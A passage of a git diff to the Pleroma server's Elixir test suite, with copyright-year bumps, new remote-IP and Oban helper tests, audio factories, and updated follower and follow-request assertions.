+ apply(HttpRequestMock, :request, [env])
+ end)
+
+ mock_modified = fn resp ->
+ mock(fn
+ %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
+ resp
+
+ env ->
+ apply(HttpRequestMock, :request, [env])
+ end)
+ end
+
+ on_exit(fn -> mock(fn env -> apply(HttpRequestMock, :request, [env]) end) end)
+
+ [mock_modified: mock_modified]
+ end
+
+ test "refetches if the time since the last refetch is greater than the interval", %{
+ mock_modified: mock_modified
+ } do
+ %Object{} =
+ object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
+
+ assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+
+ mock_modified.(%Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/poll_modified.json")
+ })
+
+ updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
+ assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8
+ assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3
+ end
+
+ test "returns the old object if refetch fails", %{mock_modified: mock_modified} do
+ %Object{} =
+ object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
+
+ assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+
+ assert capture_log(fn ->
+ mock_modified.(%Tesla.Env{status: 404, body: ""})
+
+ updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
+ assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+ end) =~
+ "[error] Couldn't refresh https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"
+ end
+
+ test "does not refetch if the time since the last refetch is greater than the interval", %{
+ mock_modified: mock_modified
+ } do
+ %Object{} =
+ object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
+
+ assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+
+ mock_modified.(%Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/poll_modified.json")
+ })
+
+ updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: 100)
+ assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+ end
+
+ test "preserves internal fields on refetch", %{mock_modified: mock_modified} do
+ %Object{} =
+ object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
+
+ assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+
+ user = insert(:user)
+ activity = Activity.get_create_by_object_ap_id(object.data["id"])
+ {:ok, _activity, object} = CommonAPI.favorite(activity.id, user)
+
+ assert object.data["like_count"] == 1
+
+ mock_modified.(%Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/poll_modified.json")
+ })
+
+ updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
+ assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8
+ assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3
+
+ assert updated_object.data["like_count"] == 1
+ end
+ end
end
diff --git a/test/plugs/authentication_plug_test.exs b/test/plugs/authentication_plug_test.exs
index f7f8fd9f3..9ae4c506f 100644
--- a/test/plugs/authentication_plug_test.exs
+++ b/test/plugs/authentication_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.AuthenticationPlugTest do
diff --git a/test/plugs/cache_control_test.exs b/test/plugs/cache_control_test.exs
index 45151b289..69ce6cc7d 100644
--- a/test/plugs/cache_control_test.exs
+++ b/test/plugs/cache_control_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.CacheControlTest do
diff --git a/test/plugs/ensure_public_or_authenticated_plug_test.exs b/test/plugs/ensure_public_or_authenticated_plug_test.exs
index d45662a2a..bae95e150 100644
--- a/test/plugs/ensure_public_or_authenticated_plug_test.exs
+++ b/test/plugs/ensure_public_or_authenticated_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.EnsurePublicOrAuthenticatedPlugTest do
diff --git a/test/plugs/http_security_plug_test.exs b/test/plugs/http_security_plug_test.exs
index 7a2835e3d..9c1c20541 100644
--- a/test/plugs/http_security_plug_test.exs
+++ b/test/plugs/http_security_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Plugs.HTTPSecurityPlugTest do
diff --git a/test/plugs/http_signature_plug_test.exs b/test/plugs/http_signature_plug_test.exs
index d6fd9ea81..d8ace36da 100644
--- a/test/plugs/http_signature_plug_test.exs
+++ b/test/plugs/http_signature_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Plugs.HTTPSignaturePlugTest do
diff --git a/test/plugs/instance_static_test.exs b/test/plugs/instance_static_test.exs
index 6aabc45a4..9b27246fa 100644
--- a/test/plugs/instance_static_test.exs
+++ b/test/plugs/instance_static_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.RuntimeStaticPlugTest do
diff --git a/test/plugs/legacy_authentication_plug_test.exs b/test/plugs/legacy_authentication_plug_test.exs
index 9804e073b..568ef5abd 100644
--- a/test/plugs/legacy_authentication_plug_test.exs
+++ b/test/plugs/legacy_authentication_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.LegacyAuthenticationPlugTest do
diff --git a/test/plugs/mapped_identity_to_signature_plug_test.exs b/test/plugs/mapped_identity_to_signature_plug_test.exs
index bb45d9edf..6b9d3649d 100644
--- a/test/plugs/mapped_identity_to_signature_plug_test.exs
+++ b/test/plugs/mapped_identity_to_signature_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Plugs.MappedSignatureToIdentityPlugTest do
diff --git a/test/plugs/oauth_plug_test.exs b/test/plugs/oauth_plug_test.exs
index 5a2ed11cc..dea11cdb0 100644
--- a/test/plugs/oauth_plug_test.exs
+++ b/test/plugs/oauth_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.OAuthPlugTest do
diff --git a/test/plugs/oauth_scopes_plug_test.exs b/test/plugs/oauth_scopes_plug_test.exs
index f328026df..6a13ea811 100644
--- a/test/plugs/oauth_scopes_plug_test.exs
+++ b/test/plugs/oauth_scopes_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.OAuthScopesPlugTest do
diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs
new file mode 100644
index 000000000..d120c588b
--- /dev/null
+++ b/test/plugs/remote_ip_test.exs
@@ -0,0 +1,72 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Plugs.RemoteIpTest do
+ use ExUnit.Case, async: true
+ use Plug.Test
+
+ alias Pleroma.Plugs.RemoteIp
+
+ test "disabled" do
+ Pleroma.Config.put(RemoteIp, enabled: false)
+
+ %{remote_ip: remote_ip} = conn(:get, "/")
+
+ conn =
+ conn(:get, "/")
+ |> put_req_header("x-forwarded-for", "1.1.1.1")
+ |> RemoteIp.call(nil)
+
+ assert conn.remote_ip == remote_ip
+ end
+
+ test "enabled" do
+ Pleroma.Config.put(RemoteIp, enabled: true)
+
+ conn =
+ conn(:get, "/")
+ |> put_req_header("x-forwarded-for", "1.1.1.1")
+ |> RemoteIp.call(nil)
+
+ assert conn.remote_ip == {1, 1, 1, 1}
+ end
+
+ test "custom headers" do
+ Pleroma.Config.put(RemoteIp, enabled: true, headers: ["cf-connecting-ip"])
+
+ conn =
+ conn(:get, "/")
+ |> put_req_header("x-forwarded-for", "1.1.1.1")
+ |> RemoteIp.call(nil)
+
+ refute conn.remote_ip == {1, 1, 1, 1}
+
+ conn =
+ conn(:get, "/")
+ |> put_req_header("cf-connecting-ip", "1.1.1.1")
+ |> RemoteIp.call(nil)
+
+ assert conn.remote_ip == {1, 1, 1, 1}
+ end
+
+ test "custom proxies" do
+ Pleroma.Config.put(RemoteIp, enabled: true)
+
+ conn =
+ conn(:get, "/")
+ |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2")
+ |> RemoteIp.call(nil)
+
+ refute conn.remote_ip == {1, 1, 1, 1}
+
+ Pleroma.Config.put([RemoteIp, :proxies], ["173.245.48.0/20"])
+
+ conn =
+ conn(:get, "/")
+ |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2")
+ |> RemoteIp.call(nil)
+
+ assert conn.remote_ip == {1, 1, 1, 1}
+ end
+end
diff --git a/test/plugs/set_format_plug_test.exs b/test/plugs/set_format_plug_test.exs
index bb21956bb..27c026fdd 100644
--- a/test/plugs/set_format_plug_test.exs
+++ b/test/plugs/set_format_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.SetFormatPlugTest do
diff --git a/test/plugs/set_locale_plug_test.exs b/test/plugs/set_locale_plug_test.exs
index b6c4c1cea..0aaeedc1e 100644
--- a/test/plugs/set_locale_plug_test.exs
+++ b/test/plugs/set_locale_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.SetLocalePlugTest do
diff --git a/test/plugs/uploaded_media_plug_test.exs b/test/plugs/uploaded_media_plug_test.exs
index 49cf5396a..5ba963139 100644
--- a/test/plugs/uploaded_media_plug_test.exs
+++ b/test/plugs/uploaded_media_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.UploadedMediaPlugTest do
diff --git a/test/scheduled_activity_test.exs b/test/scheduled_activity_test.exs
index edc7cc3f9..dcf12fb49 100644
--- a/test/scheduled_activity_test.exs
+++ b/test/scheduled_activity_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ScheduledActivityTest do
diff --git a/test/support/captcha_mock.ex b/test/support/captcha_mock.ex
index ef4e68bc5..65ca6b3bd 100644
--- a/test/support/captcha_mock.ex
+++ b/test/support/captcha_mock.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Captcha.Mock do
diff --git a/test/support/conn_case.ex b/test/support/conn_case.ex
index ec5892ff5..9897f72ce 100644
--- a/test/support/conn_case.ex
+++ b/test/support/conn_case.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ConnCase do
@@ -40,6 +40,10 @@ defmodule Pleroma.Web.ConnCase do
Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, {:shared, self()})
end
+ if tags[:needs_streamer] do
+ start_supervised(Pleroma.Web.Streamer.supervisor())
+ end
+
{:ok, conn: Phoenix.ConnTest.build_conn()}
end
end
diff --git a/test/support/data_case.ex b/test/support/data_case.ex
index f3d98e7e3..4ffcbac9e 100644
--- a/test/support/data_case.ex
+++ b/test/support/data_case.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.DataCase do
@@ -39,6 +39,10 @@ defmodule Pleroma.DataCase do
Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, {:shared, self()})
end
+ if tags[:needs_streamer] do
+ start_supervised(Pleroma.Web.Streamer.supervisor())
+ end
+
:ok
end
diff --git a/test/support/factory.ex b/test/support/factory.ex
index 719115003..4f3244025 100644
--- a/test/support/factory.ex
+++ b/test/support/factory.ex
@@ -71,6 +71,47 @@ defmodule Pleroma.Factory do
}
end
+ def audio_factory(attrs \\ %{}) do
+ text = sequence(:text, &"lain radio episode #{&1}")
+
+ user = attrs[:user] || insert(:user)
+
+ data = %{
+ "type" => "Audio",
+ "id" => Pleroma.Web.ActivityPub.Utils.generate_object_id(),
+ "artist" => "lain",
+ "title" => text,
+ "album" => "lain radio",
+ "to" => ["https://www.w3.org/ns/activitystreams#Public"],
+ "published" => DateTime.utc_now() |> DateTime.to_iso8601(),
+ "actor" => user.ap_id,
+ "length" => 180_000
+ }
+
+ %Pleroma.Object{
+ data: merge_attributes(data, Map.get(attrs, :data, %{}))
+ }
+ end
+
+ def listen_factory do
+ audio = insert(:audio)
+
+ data = %{
+ "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(),
+ "type" => "Listen",
+ "actor" => audio.data["actor"],
+ "to" => audio.data["to"],
+ "object" => audio.data,
+ "published" => audio.data["published"]
+ }
+
+ %Pleroma.Activity{
+ data: data,
+ actor: data["actor"],
+ recipients: data["to"]
+ }
+ end
+
def direct_note_factory do
user2 = insert(:user)
diff --git a/test/support/helpers.ex b/test/support/helpers.ex
index a601b3ec8..ce39dd9d8 100644
--- a/test/support/helpers.ex
+++ b/test/support/helpers.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Tests.Helpers do
diff --git a/test/support/http_request_mock.ex b/test/support/http_request_mock.ex
index 231e7c498..5506c0626 100644
--- a/test/support/http_request_mock.ex
+++ b/test/support/http_request_mock.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule HttpRequestMock do
@@ -1004,6 +1004,10 @@ defmodule HttpRequestMock do
{:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/sjw.json")}}
end
+ def get("https://patch.cx/users/rin", _, _, _) do
+ {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/rin.json")}}
+ end
+
def get(url, query, body, headers) do
{:error,
"Mock response not implemented for GET #{inspect(url)}, #{query}, #{inspect(body)}, #{
diff --git a/test/support/mrf_module_mock.ex b/test/support/mrf_module_mock.ex
index 12c7e22bc..632c7ff1d 100644
--- a/test/support/mrf_module_mock.ex
+++ b/test/support/mrf_module_mock.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule MRFModuleMock do
diff --git a/test/support/oban_helpers.ex b/test/support/oban_helpers.ex
new file mode 100644
index 000000000..72792c064
--- /dev/null
+++ b/test/support/oban_helpers.ex
@@ -0,0 +1,42 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Tests.ObanHelpers do
+ @moduledoc """
+ Oban test helpers.
+ """
+
+ alias Pleroma.Repo
+
+ def perform_all do
+ Oban.Job
+ |> Repo.all()
+ |> perform()
+ end
+
+ def perform(%Oban.Job{} = job) do
+ res = apply(String.to_existing_atom("Elixir." <> job.worker), :perform, [job.args, job])
+ Repo.delete(job)
+ res
+ end
+
+ def perform(jobs) when is_list(jobs) do
+ for job <- jobs, do: perform(job)
+ end
+
+ def member?(%{} = job_args, jobs) when is_list(jobs) do
+ Enum.any?(jobs, fn job ->
+ member?(job_args, job.args)
+ end)
+ end
+
+ def member?(%{} = test_attrs, %{} = attrs) do
+ Enum.all?(
+ test_attrs,
+ fn {k, _v} -> member?(test_attrs[k], attrs[k]) end
+ )
+ end
+
+ def member?(x, y), do: x == y
+end
diff --git a/test/support/web_push_http_client_mock.ex b/test/support/web_push_http_client_mock.ex
index d8accd21c..1d6ccff7e 100644
--- a/test/support/web_push_http_client_mock.ex
+++ b/test/support/web_push_http_client_mock.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.WebPushHttpClientMock do
diff --git a/test/tasks/database_test.exs b/test/tasks/database_test.exs
index a9925c361..b63dcac00 100644
--- a/test/tasks/database_test.exs
+++ b/test/tasks/database_test.exs
@@ -77,12 +77,10 @@ defmodule Mix.Tasks.Pleroma.DatabaseTest do
assert length(following) == 2
assert info.follower_count == 0
- info_cng = Ecto.Changeset.change(info, %{follower_count: 3})
-
{:ok, user} =
user
|> Ecto.Changeset.change(%{following: following ++ following})
- |> Ecto.Changeset.put_embed(:info, info_cng)
+ |> User.change_info(&Ecto.Changeset.change(&1, %{follower_count: 3}))
|> Repo.update()
assert length(user.following) == 4
diff --git a/test/tasks/digest_test.exs b/test/tasks/digest_test.exs
index 4bfa1fb93..96d762685 100644
--- a/test/tasks/digest_test.exs
+++ b/test/tasks/digest_test.exs
@@ -4,6 +4,7 @@ defmodule Mix.Tasks.Pleroma.DigestTest do
import Pleroma.Factory
import Swoosh.TestAssertions
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.Web.CommonAPI
setup_all do
@@ -39,6 +40,8 @@ defmodule Mix.Tasks.Pleroma.DigestTest do
:ok = Mix.Tasks.Pleroma.Digest.run(["test", user2.nickname, yesterday_date])
+ ObanHelpers.perform_all()
+
assert_receive {:mix_shell, :info, [message]}
assert message =~ "Digest email have been sent"
diff --git a/test/tasks/ecto/migrate_test.exs b/test/tasks/ecto/migrate_test.exs
index 0538a7b40..42f6cbf47 100644
--- a/test/tasks/ecto/migrate_test.exs
+++ b/test/tasks/ecto/migrate_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-onl
defmodule Mix.Tasks.Pleroma.Ecto.MigrateTest do
diff --git a/test/tasks/instance_test.exs b/test/tasks/instance_test.exs
index 70986374e..6d7eed4c1 100644
--- a/test/tasks/instance_test.exs
+++ b/test/tasks/instance_test.exs
@@ -7,7 +7,16 @@ defmodule Pleroma.InstanceTest do
setup do
File.mkdir_p!(tmp_path())
- on_exit(fn -> File.rm_rf(tmp_path()) end)
+
+ on_exit(fn ->
+ File.rm_rf(tmp_path())
+ static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/")
+
+ if File.exists?(static_dir) do
+ File.rm_rf(Path.join(static_dir, "robots.txt"))
+ end
+ end)
+
:ok
end
diff --git a/test/tasks/relay_test.exs b/test/tasks/relay_test.exs
index 7bde56606..c866608ab 100644
--- a/test/tasks/relay_test.exs
+++ b/test/tasks/relay_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Tasks.Pleroma.RelayTest do
diff --git a/test/tasks/user_test.exs b/test/tasks/user_test.exs
index 2b9453042..cf12d9ed6 100644
--- a/test/tasks/user_test.exs
+++ b/test/tasks/user_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Tasks.Pleroma.UserTest do
diff --git a/test/test_helper.exs b/test/test_helper.exs
index a927b2c3d..c8dbee010 100644
--- a/test/test_helper.exs
+++ b/test/test_helper.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
os_exclude = if :os.type() == {:unix, :darwin}, do: [skip_on_mac: true], else: []
@@ -7,3 +7,8 @@ ExUnit.start(exclude: os_exclude)
Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, :manual)
Mox.defmock(Pleroma.ReverseProxy.ClientMock, for: Pleroma.ReverseProxy.Client)
{:ok, _} = Application.ensure_all_started(:ex_machina)
+
+ExUnit.after_suite(fn _results ->
+ uploads = Pleroma.Config.get([Pleroma.Uploaders.Local, :uploads], "test/uploads")
+ File.rm_rf!(uploads)
+end)
diff --git a/test/upload_test.exs b/test/upload_test.exs
index 6721fe82e..0ca5ebced 100644
--- a/test/upload_test.exs
+++ b/test/upload_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.UploadTest do
diff --git a/test/user_search_test.exs b/test/user_search_test.exs
index 48ce973ad..f7ab31287 100644
--- a/test/user_search_test.exs
+++ b/test/user_search_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.UserSearchTest do
diff --git a/test/user_test.exs b/test/user_test.exs
index ed8cdbe31..126bd69e8 100644
--- a/test/user_test.exs
+++ b/test/user_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.UserTest do
@@ -7,14 +7,16 @@ defmodule Pleroma.UserTest do
alias Pleroma.Builders.UserBuilder
alias Pleroma.Object
alias Pleroma.Repo
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.CommonAPI
use Pleroma.DataCase
+ use Oban.Testing, repo: Pleroma.Repo
- import Pleroma.Factory
import Mock
+ import Pleroma.Factory
setup_all do
Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
@@ -72,8 +74,8 @@ defmodule Pleroma.UserTest do
CommonAPI.follow(follower, unlocked)
CommonAPI.follow(follower, locked)
- assert {:ok, []} = User.get_follow_requests(unlocked)
- assert {:ok, [activity]} = User.get_follow_requests(locked)
+ assert [] = User.get_follow_requests(unlocked)
+ assert [activity] = User.get_follow_requests(locked)
assert activity
end
@@ -88,7 +90,7 @@ defmodule Pleroma.UserTest do
CommonAPI.follow(accepted_follower, locked)
User.follow(accepted_follower, locked)
- assert {:ok, [activity]} = User.get_follow_requests(locked)
+ assert [activity] = User.get_follow_requests(locked)
assert activity
end
@@ -97,10 +99,10 @@ defmodule Pleroma.UserTest do
follower = insert(:user)
CommonAPI.follow(follower, followed)
- assert {:ok, [_activity]} = User.get_follow_requests(followed)
+ assert [_activity] = User.get_follow_requests(followed)
{:ok, _follower} = User.block(followed, follower)
- assert {:ok, []} = User.get_follow_requests(followed)
+ assert [] = User.get_follow_requests(followed)
end
test "follow_all follows mutliple users" do
@@ -558,7 +560,7 @@ defmodule Pleroma.UserTest do
test "it enforces the fqn format for nicknames" do
cs = User.remote_user_creation(%{@valid_remote | nickname: "bla"})
- assert cs.changes.local == false
+ assert Ecto.Changeset.get_field(cs, :local) == false
assert cs.changes.avatar
refute cs.valid?
end
@@ -570,22 +572,6 @@ defmodule Pleroma.UserTest do
refute cs.valid?
end)
end
-
- test "it restricts some sizes" do
- bio_limit = Pleroma.Config.get([:instance, :user_bio_length], 5000)
- name_limit = Pleroma.Config.get([:instance, :user_name_length], 100)
-
- [bio: bio_limit, name: name_limit]
- |> Enum.each(fn {field, size} ->
- string = String.pad_leading(".", size)
- cs = User.remote_user_creation(Map.put(@valid_remote, field, string))
- assert cs.valid?
-
- string = String.pad_leading(".", size + 1)
- cs = User.remote_user_creation(Map.put(@valid_remote, field, string))
- refute cs.valid?
- end)
- end
end
describe "followers and friends" do
@@ -598,7 +584,7 @@ defmodule Pleroma.UserTest do
{:ok, follower_one} = User.follow(follower_one, user)
{:ok, follower_two} = User.follow(follower_two, user)
- {:ok, res} = User.get_followers(user)
+ res = User.get_followers(user)
assert Enum.member?(res, follower_one)
assert Enum.member?(res, follower_two)
@@ -614,7 +600,7 @@ defmodule Pleroma.UserTest do
{:ok, user} = User.follow(user, followed_one)
{:ok, user} = User.follow(user, followed_two)
- {:ok, res} = User.get_friends(user)
+ res = User.get_friends(user)
followed_one = User.get_cached_by_ap_id(followed_one.ap_id)
followed_two = User.get_cached_by_ap_id(followed_two.ap_id)
@@ -725,7 +711,9 @@ defmodule Pleroma.UserTest do
user3.nickname
]
- result = User.follow_import(user1, identifiers)
+ {:ok, job} = User.follow_import(user1, identifiers)
+ result = ObanHelpers.perform(job)
+
assert is_list(result)
assert result == [user2, user3]
end
@@ -936,7 +924,9 @@ defmodule Pleroma.UserTest do
user3.nickname
]
- result = User.blocks_import(user1, identifiers)
+ {:ok, job} = User.blocks_import(user1, identifiers)
+ result = ObanHelpers.perform(job)
+
assert is_list(result)
assert result == [user2, user3]
end
@@ -985,7 +975,7 @@ defmodule Pleroma.UserTest do
info = User.get_cached_user_info(user2)
assert info.follower_count == 0
- assert {:ok, []} = User.get_followers(user2)
+ assert [] = User.get_followers(user2)
end
test "hide a user from friends" do
@@ -1001,7 +991,7 @@ defmodule Pleroma.UserTest do
assert info.following_count == 0
assert User.following_count(user2) == 0
- assert {:ok, []} = User.get_friends(user2)
+ assert [] = User.get_friends(user2)
end
test "hide a user's statuses from timelines and notifications" do
